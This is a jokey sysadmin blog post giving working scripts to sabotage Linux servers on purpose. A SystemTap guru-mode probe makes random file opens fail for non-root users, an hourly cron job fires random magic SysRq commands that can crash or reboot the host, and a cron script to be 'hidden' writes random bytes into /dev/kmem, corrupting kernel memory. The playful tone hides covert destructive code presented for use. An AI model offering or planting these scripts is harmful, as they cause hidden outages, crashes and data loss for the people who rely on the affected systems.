Breaking Systems For Fun And Profit
Image by LoggaWiggler @ Pixabay

One in a Million

A lot of people love going to the casino. Many of those wish they could experience that thrill at work as well. As your friendly neighborhood systems admin you probably want to help them out. In this case that will take a couple of steps:

Enabling Systemtap on your system

The thrill of the casino requires Systemtap to be available on your system:

1
2
yum install systemtap kernel-devel-$(uname -r)
debuginfo-install kernel-$(uname -r)

If you do not want a compiler, debuginfo packages, and other development crap on your productions machines you can compile systemtap modules on one system, then deploy them to other systems and run them with the staprun command from systemtap-runtime

Creating the module

Create the following file as /root/one_in_a_million.stp:

#!/usr/bin/stap -g
probe kernel.function("may_open").return {
  chance = randint(1000000);
  if (euid() && !$return && chance >= 999999) $return = -13
}

Feel free to lower the 999999 number to make the module more fun.

Run the module

Either make the file you just created executable, or run the following command:

1
stap -vg /root/one_in_a_million.stp
Image by annca @ Pixabay

Happyfuntime Sysrq

Add the following file as /etc/cron.hourly/happyfuntime:

1
2
3
#!/bin/bash
SYSRQLETTERS="bcdefghijklmnopqrstuvwxyz0123456789"
echo ${SYSRQLETTERS:${RANDOM}%${#SYSRQLETTERS}:1} > /proc/sysrq-trigger

Don’t forget to make the file executable.

1
chmod +x /etc/cron.hourly/happyfuntime

Kernel Roulette

Another one from the archives, this one was sent in by DIVI.

Hide this one in /etc/cron.hourly or /etc/cron.daily, depending on your level of masochism:

#!/bin/bash
dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=${RANDOM} conv=notrunc